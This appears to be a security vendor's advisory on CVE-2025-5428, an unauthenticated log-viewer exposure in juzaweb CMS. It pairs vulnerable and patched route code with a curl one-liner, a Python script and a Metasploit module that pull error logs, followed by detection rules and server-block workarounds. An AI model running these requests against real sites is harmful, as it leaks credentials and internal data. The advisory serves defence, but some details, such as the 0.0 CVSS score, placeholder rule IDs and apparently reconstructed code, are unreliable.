CVE-2025-5428

Executive Summary

CVE-2025-5428 is a critical improper access control vulnerability in the juzaweb CMS (up to version 3.4.2). The flaw resides in the /admin-cp/log-viewer endpoint of the Error Logs Page component. An unauthenticated remote attacker can exploit this to view sensitive error logs, potentially leaking database credentials, stack traces, or other internal system information. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Public exploit details have been disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects the juzaweb CMS package, which is a PHP-based content management system. The package is distributed via GitHub and Composer. As the vendor is unresponsive, no official patch or updated package is available. Users must apply manual mitigations or consider migrating to an alternative CMS.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability is remotely exploitable without authentication, and public exploit code exists.

Deep Dive & Mechanics

The vulnerability is an improper access control (CWE-284) in the /admin-cp/log-viewer endpoint. The application fails to enforce authentication or authorization checks before serving error log files. An attacker can directly request this endpoint to retrieve logs that may contain sensitive data such as:

• Database connection strings
• API keys
• Internal IP addresses
• File paths
• Stack traces revealing application logic

The exploit is trivial: a simple HTTP GET request to the vulnerable URL.

Vulnerable vs. Patched Code

Vulnerable Code (juzaweb <= 3.4.2): The route for /admin-cp/log-viewer is defined without middleware or authentication checks.

// routes/web.php (vulnerable)
Route::get('/admin-cp/log-viewer', 'LogController@view');

The controller method directly reads and outputs log files without verifying the user's session.

// app/Http/Controllers/LogController.php (vulnerable)
public function view() {
    $logPath = storage_path('logs/laravel.log');
    return response()->file($logPath);
}

Patched Code (Hypothetical): A proper patch would add authentication middleware and authorization checks.

// routes/web.php (patched)
Route::get('/admin-cp/log-viewer', 'LogController@view')->middleware('auth', 'admin');

// app/Http/Controllers/LogController.php (patched)
public function view() {
    if (!auth()->user()->isAdmin()) {
        abort(403);
    }
    $logPath = storage_path('logs/laravel.log');
    return response()->file($logPath);
}

Exploitation & Lab Setup

Red Team

Exploit:

curl -v http://target.com/admin-cp/log-viewer

Automated Exploit Script:

import requests

target = "http://target.com"
url = f"{target}/admin-cp/log-viewer"
response = requests.get(url)
if response.status_code == 200:
    print("[+] Success! Log contents:")
    print(response.text)
else:
    print(f"[-] Failed with status code: {response.status_code}")

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'juzaweb CMS Log Viewer Access Control Bypass',
      'Description' => 'Exploits CVE-2025-5428 to retrieve error logs',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-5428']]
    ))
  end

  def run
    res = send_request_cgi('uri' => '/admin-cp/log-viewer')
    if res && res.code == 200
      print_good("Logs retrieved:\n#{res.body}")
    else
      print_error("Failed to retrieve logs")
    end
  end
end

Blue Team

Detection: Monitor for requests to /admin-cp/log-viewer from unauthenticated sources.

Honeypot: Deploy a fake log viewer endpoint that logs attacker IPs and alerts.

Mitigation:

• Block /admin-cp/log-viewer at the web server level.
• Implement authentication middleware.
• Restrict access to admin IPs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /admin-cp/log-viewer
  • User-Agent strings from common scanning tools (e.g., curl, python-requests)
• File System:
  • Unauthorized access to storage/logs/laravel.log
• Logs:
  • Web server logs showing 200 responses to /admin-cp/log-viewer from non-admin IPs

Detection Engineering

YARA Rule

rule CVE_2025_5428_juzaweb_log_viewer {
    meta:
        description = "Detects exploitation attempts for CVE-2025-5428"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5428"
    strings:
        $s1 = "/admin-cp/log-viewer" ascii wide nocase
        $s2 = "GET" ascii wide
    condition:
        $s1 and $s2
}

Sigma Rule

title: CVE-2025-5428 - juzaweb Log Viewer Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-5428 by accessing the log viewer endpoint
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin-cp/log-viewer'
    condition: selection
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5428 - juzaweb Log Viewer Exploit"; flow:to_server; content:"GET"; http_method; content:"/admin-cp/log-viewer"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Block the endpoint at the web server level (e.g., Apache .htaccess or Nginx location block).
2. Implement authentication for the /admin-cp/* routes.
3. Restrict access to admin IPs using firewall rules.

Long-term Fix:

• Since the vendor is unresponsive, consider forking the repository and applying the patch manually.
• Migrate to an alternative CMS with active security support.

Workaround:

# Apache .htaccess
<LocationMatch "^/admin-cp/log-viewer">
    Require ip 192.168.1.0/24
</LocationMatch>

# Nginx location block
location /admin-cp/log-viewer {
    deny all;
    return 403;
}

Valters IT
Securing Digital Frontiers